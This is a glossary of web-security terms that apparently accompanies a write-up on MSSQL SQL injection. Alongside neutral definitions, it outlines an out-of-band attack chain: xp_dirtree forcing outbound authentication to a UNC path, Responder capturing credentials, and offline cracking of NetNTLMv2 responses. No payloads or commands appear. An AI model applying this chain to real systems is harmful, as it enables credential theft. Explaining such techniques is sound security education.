- CSRF (Cross-Site Request Forgery): an attack that tricks a logged-in user's browser into sending an unwanted request to another site.
- CSRF token: a secret value embedded in forms and checked by the server to prove a request came from the application itself.
- CVE: a public catalogue identifier assigned to a known security vulnerability.
- Database: an organised store of data that an application can search and update.
- GET: the HTTP method used to ask for a page or resource.
- Hash: a one-way fingerprint of data, such as a password, used to verify it without storing the original.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- HTTP/2: version 2 of HTTP.
- Injection point: a place where user input reaches a system that interprets it, such as a database.
- JavaScript: code that runs inside the browser rather than on the server.
- MSSQL (Microsoft SQL Server): Microsoft's database product, with its own SQL syntax.
- NetNTLMv2: a Windows challenge-response authentication scheme whose captured responses can be cracked offline.
- Out-of-band channel: a way of getting information back that does not use the normal response, such as the server connecting out to the attacker.
- Parameter: a named piece of data sent with a request, such as a search term or a date.
- Parameterised query: a database query where code and values are sent separately, so values can never be executed as code.
- Payload: the crafted input an attacker sends to trigger a vulnerability.
- Percent-encoding: representing characters in a URL or form body with
%followed by their code, such as%20for a space. - POST: the HTTP method used to send data to the server, typically when submitting a form.
- Privilege level: the set of permissions an account has, determining which pages and actions it can reach.
- Responder: a tool that answers network authentication requests and logs the credentials offered.
- SaaS (Software as a Service): software delivered over the internet and used through a browser, rather than installed locally.
- Sanitisation: cleaning or escaping user input so it can only be treated as data, never as code.
- SMB: the Windows protocol for sharing files over a network.
- SQL (Structured Query Language): the language used to ask a database to store, search or change data.
- SQL injection: inserting SQL code through user input so the database executes it.
- UNC path: a Windows notation for a file share on another machine, starting with two backslashes.
- URL: the address of a resource on the web.
WAITFOR DELAY: an MSSQL statement that pauses execution for a given time.xp_dirtree: an MSSQL built-in procedure that lists a folder's contents, including on remote shares, which forces the database to authenticate outwards.